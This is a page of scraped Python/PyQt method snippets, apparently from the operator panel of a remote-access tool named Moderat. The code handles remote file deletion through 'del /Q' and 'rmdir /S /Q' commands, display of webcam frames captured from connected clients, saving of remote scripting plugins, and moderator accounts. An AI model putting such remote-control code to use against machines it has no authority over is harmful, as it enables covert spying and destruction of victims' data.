Exemplo n.º 1
0
    def remove(self):
        try:
            _type = str(
                self.explorerTable.item(self.explorerTable.currentItem().row(),
                                        0).text())
            _file = str(
                self.explorerTable.item(self.explorerTable.currentItem().row(),
                                        1).text())

            warn = QMessageBox(QMessageBox.Question,
                               self.moderat.MString('MEXPLORER_MSG_CONFIRM'),
                               self.moderat.MString('MEXPLORER_MSG_DELETE'))
            warn.setStandardButtons(QMessageBox.Yes | QMessageBox.No)
            ans = warn.exec_()
            if ans == QMessageBox.Yes:
                if '<FILE>' in _type:
                    self.send('del /Q "%s"' % _file)
                elif '<DIR>' in _type:
                    self.send('rmdir /S /Q "%s"' % _file)
                self.callback = self.recv_content
            else:
                return
        except AttributeError:
            message.error(self.moderat.MString('MEXPLORER_MSG_ERROR'),
                          self.moderat.MString('MEXPLORER_MSG_NO_FILE'))
Exemplo n.º 2
0
 def save_script(self):
     script_name, ok = QInputDialog.getText(
         self, self.moderat.MString('MSCRIPTING_PLUGIN_NAME'),
         self.moderat.MString('MSCRIPTING_PLUGIN_NAME'), QLineEdit.Normal)
     if ok:
         script_description, ok = QInputDialog.getText(
             self, self.moderat.MString('MSCRIPTING_PLUGIN_DESC'),
             self.moderat.MString('MSCRIPTING_PLUGIN_DESC'),
             QLineEdit.Normal)
         if ok:
             # Check if script_name exists
             if script_name in self.moderat.plugins.keys():
                 message.error(
                     self.moderat.MString('MSCRIPTING_PLUGIN_EXISTS'),
                     self.moderat.MString('MSCRIPTING_PLUGIN_EXISTS'))
                 return
             with open(
                     os.path.join(self.moderat.plugins_dir,
                                  str(script_name) + '.py'),
                     'w') as plugin_file:
                 payload = 'plugin_name = r"""%s"""\n' % script_name
                 payload += 'plugin_description = r"""%s"""\n' % script_description
                 payload += 'plugin_type = r"""remote"""\n'
                 payload += 'plugin_source = r"""%s"""\n' % self.editor.toPlainText(
                 )
                 plugin_file.write(payload)
                 message.info(
                     self.moderat.MString('MSCRIPTING_PLUGIN_SAVED'),
                     self.moderat.MString('MSCRIPTING_PLUGIN_SAVED'))
Exemplo n.º 3
0
 def check_mode(self, data):
     if type(data) is dict:
         if self.modes.has_key(data['mode']):
             self.modes[data['mode']](data)
         else:
             message.error(
                 self.moderat, self.moderat.MString('MSGBOX_ERROR'),
                 u'{} [{}]'.format(self.moderat.MString('UNKNOWN_MODE'),
                                   data['mode']))
Exemplo n.º 4
0
 def insert_plugin(self, plugin_name=None):
     if not plugin_name:
         plugin_name = str(self.pluginSearchLine.text())
     if self.moderat.plugins.has_key(plugin_name):
         self.editor.clear()
         self.editor.insertPlainText(
             self.moderat.plugins[plugin_name]['source'])
     else:
         message.error(self.moderat.MString('MSCRIPTING_NO_PLUGIN'),
                       self.moderat.MString('MSCRIPTING_NO_PLUGIN'))
Exemplo n.º 5
0
 def on_moderator_connect_fail(self, reason):
     '''
     On Moderator Disconnected From Server
     :param reason:
     :return:
     '''
     if not type(reason) is bool:
         message.error(self, self.MString('MSGBOX_ERROR'),
                       str(reason.value))
     self.connected = False
     self.action.disconnect()
Exemplo n.º 6
0
    def moderatorInitializing(self, data):
        '''
        Initializing Moderator
        :param data:
        :return:
        '''
        if data['payload'].startswith('loginSuccess '):
            self.moderat.onlineLoading.show()
            # Get Privileges
            self.moderat.privs = int(data['payload'].split()[-1])
            self.moderat.ui.enable_administrator(
            ) if self.moderat.privs == 1 else self.moderat.ui.disable_administrator(
            )

            # Start Client Checker
            self.moderat.clients_checker = QTimer()
            self.moderat.clients_checker.timeout.connect(
                self.moderat.check_clients)
            self.moderat.clients_checker.start(5000)
            if self.moderat.privs:
                self.moderat.moderators_checker = QTimer()
                self.moderat.moderators_checker.timeout.connect(
                    self.moderat.get_moderators)
                self.moderat.moderators_checker.start(5000)

            # Update UI
            self.moderat.ui.on_moderator_connected()
            self.moderat.tray.info(
                self.moderat.MString('TRAY_CONNECTED'),
                u'{} {}:{}'.format(self.moderat.MString('TRAY_CONNECTED_TO'),
                                   self.moderat.settings.serverIpAddress,
                                   self.moderat.settings.serverPort))
        else:
            # Update UI
            self.moderat.ui.on_moderator_not_connected()
            self.moderat.tray.warning(
                self.moderat.MString('TRAY_NOT_CONNECTED'),
                u'{} {}:{}'.format(self.moderat.MString('TRAY_CONNECTED_TO'),
                                   self.moderat.settings.serverIpAddress,
                                   self.moderat.settings.serverPort))
            self.moderat.username = None
            # Warn Message
            message.error(self.moderat,
                          self.moderat.MString('INCORRECT_CREDENTIALS'),
                          self.moderat.MString('INCORRECT_CREDENTIALS'))
Exemplo n.º 7
0
 def recv_screenshot(self, data):
     webcam_dict = data['payload']
     if webcam_dict == 'noWebcamError':
         message.error(self.moderat,
                       self.moderat.MString('MSGBOX_ERROR'),
                       self.moderat.MString('NOWEBCAM_ERROR'))
         return
     try:
         camera_info = ast.literal_eval(webcam_dict)
         im = Image.frombytes('RGB', (int(camera_info['width']), int(camera_info['height'])),
                                   zlib.decompress(camera_info['webcambits']), 'raw', 'BGR', 0, -1)
         camera_bits = im.convert('RGBA')
         self.cameraLabel.setPixmap(QPixmap.fromImage(ImageQt.ImageQt(camera_bits)).scaled(
                 self.cameraLabel.size(), Qt.KeepAspectRatio, Qt.SmoothTransformation))
         self.current_bits = camera_bits
         self.saveButton.setDisabled(False)
         self.clearButton.setDisabled(False)
     except SyntaxError:
         pass
Exemplo n.º 8
0
    def administrator_change_moderator_password(self):
        for moderator_args in self.current_client():
            moderator = moderator_args
            ok, password = text.get_password(
                self.moderat.MString('ADMINISTRATION_INPUT_PASSWORD'),
                self.moderat.MString('ADMINISTRATION_PASSWORD'),
                self.moderat.MString('ADMINISTRATION_PASSWORD'),
                self.moderat.MString('DIALOG_OK'),
                self.moderat.MString('DIALOG_CANCEL'))
            if ok and len(str(password)) > 3:
                password1 = str(password)
                ok, password = text.get_password(
                    self.moderat.MString('ADMINISTRATION_INPUT_PASSWORD'),
                    self.moderat.MString('ADMINISTRATION_PASSWORD'),
                    self.moderat.MString('ADMINISTRATION_PASSWORD'),
                    self.moderat.MString('DIALOG_OK'),
                    self.moderat.MString('DIALOG_CANCEL'))
                if ok and len(str(password)) > 3:
                    password2 = str(password)

                    if password1 == password2:
                        self.moderat.moderator.send_msg(
                            '%s %s' % (moderator, password1),
                            'changePassword',
                            session_id=self.moderat.session_id)
                    else:
                        message.error(
                            self.moderat.MString(
                                'ADMINISTRATION_PASSWORD_NOT_MATCH'),
                            self.moderat.MString(
                                'ADMINISTRATION_PASSWORD_NOT_MATCH'))
                        return
                # if not password
                else:
                    message.error(
                        self.moderat.MString(
                            'ADMINISTRATION_INCORRECT_PASSWORD'),
                        self.moderat.MString(
                            'ADMINISTRATION_INCORRECT_PASSWORD'))
                    return
            else:
                message.error(
                    self.moderat.MString('ADMINISTRATION_INCORRECT_PASSWORD'),
                    self.moderat.MString('ADMINISTRATION_INCORRECT_PASSWORD'))
                return
Exemplo n.º 9
0
 def administrator_create_moderator(self):
     # Get Username
     username, ok = QInputDialog.getText(
         self.moderat,
         self.moderat.MString('ADMINISTRATION_INPUT_USERNAME'),
         self.moderat.MString('ADMINISTRATION_USERNAME'), QLineEdit.Normal)
     if ok and len(str(username)) > 0:
         username = str(username)
         # Get Password
         password, ok = QInputDialog.getText(
             self.moderat,
             self.moderat.MString('ADMINISTRATION_INPUT_PASSWORD'),
             self.moderat.MString('ADMINISTRATION_PASSWORD'),
             QLineEdit.Password)
         if ok and len(str(password)) > 3:
             password = str(password)
             # Get Privileges
             privileges, ok = QInputDialog.getItem(
                 self.moderat,
                 self.moderat.MString('ADMINISTRATION_INPUT_PRIVS'),
                 self.moderat.MString('ADMINISTRATION_PRIVS'), ('0', '1'),
                 0, False)
             admin = str(privileges)
             if ok and privileges:
                 self.moderat.moderator.send_msg(
                     '%s %s %s' % (username, password, admin),
                     'addModerator',
                     session_id=self.moderat.session_id)
             else:
                 message.error(
                     self.moderat.MString(
                         'ADMINISTRATION_INCORRECT_PRIVILEGES'),
                     self.moderat.MString(
                         'ADMINISTRATION_INCORRECT_PRIVILEGES'))
                 return
         else:
             message.error(
                 self.moderat.MString('ADMINISTRATION_INCORRECT_PASSWORD'),
                 self.moderat.MString('ADMINISTRATION_INCORRECT_PASSWORD'))
             return
     else:
         message.error(
             self.moderat.MString('ADMINISTRATION_INCORRECT_USERNAME'),
             self.moderat.MString('ADMINISTRATION_INCORRECT_USERNAME'))
         return
Exemplo n.º 10
0
    def recv_content(self, data):
        # set remote path entry
        try:
            content = ast.literal_eval(data['payload'])
        except (SyntaxError, ValueError):
            message.error(self.moderat.MString('MEXPLORER_OPEN_FOLDER_ERROR'),
                          self.moderat.MString('MEXPLORER_OPEN_FOLDER_ERROR'))
            return
        # Init Logical Drives
        self.comboInEditMode = True
        self.drivesCombo.clear()
        for drive_letter in content['logicalDrives'].keys():
            self.drivesCombo.addItem(drive_letter)

        # Get active drive caption
        self.drivesCombo.setCurrentIndex(
            self.drivesCombo.findText(content['path'].split('\\')[0] + '\\',
                                      Qt.MatchFixedString))

        # Initializing table
        self.explorerTable.clearContents()
        self.explorerTable.sortItems(0)
        self.pathLine.setText(content['path'])

        # Turn combo signal off
        self.comboInEditMode = False

        # set tables row count
        self.explorerTable.setRowCount(len(content) - 2)

        file_count = 0
        folder_count = 0

        # add content to table
        for index in content:

            if index == 'path' or index == 'logicalDrives':
                continue

            if content[index]['hidden']:
                file_color = QColor('#9b59b6')
                file_icon = os.path.join(self.moderat.assets,
                                         'hidden_file.png')
                folder_color = QColor('#3498db')
                folder_icon = os.path.join(self.moderat.assets,
                                           'hidden_folder.png')
            else:
                file_color = QColor('#ecf0f1')
                file_icon = os.path.join(self.moderat.assets, 'file.png')
                folder_color = QColor('#e67e22')
                folder_icon = os.path.join(self.moderat.assets, 'folder.png')

            # set content type
            item = QTableWidgetItem(
                '<FILE>') if content[index]['type'] else QTableWidgetItem(
                    '<DIR>')
            if content[index]['type']:
                item.setTextColor(file_color)
                item.setSizeHint(QSize(50, 30))
                file_count += 1
            else:
                item.setTextColor(folder_color)
                item.setSizeHint(QSize(50, 30))
                folder_count += 1
            item.setTextAlignment(Qt.AlignCenter | Qt.AlignVCenter)
            self.explorerTable.setItem(index, 0, item)

            # set content name
            item = QTableWidgetItem(content[index]['name'])
            if content[index]['type']:
                item.setTextColor(file_color)
                item.setIcon(QIcon(QPixmap(file_icon)))
            else:
                item.setTextColor(folder_color)
                item.setIcon(QIcon(QPixmap(folder_icon)))
            self.explorerTable.setItem(index, 1, item)

            # set content modified date
            item = QTableWidgetItem(content[index]['modified'])
            item.setTextAlignment(Qt.AlignCenter)
            item.setSizeHint(QSize(220, 30))
            self.explorerTable.setItem(index, 2, item)

            # set file size
            item = QTableWidgetItem(self.sizeof_fmt(
                content[index]
                ['size'])) if content[index]['type'] else QTableWidgetItem('')
            item.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)
            item.setTextColor(file_color)
            self.explorerTable.setItem(index, 3, item)

        # update table
        self.explorerTable.horizontalHeaderItem(3).setTextAlignment(
            Qt.AlignCenter)
        self.explorerTable.resizeColumnsToContents()
Exemplo n.º 11
0
 def p2pMode(self, data):
     if data['payload'] == 'p2pNotStarted':
         message.error(self.moderat, self.moderat.MString('MSGBOX_ERROR'),
                       self.moderat.MString('P2P_ERROR'))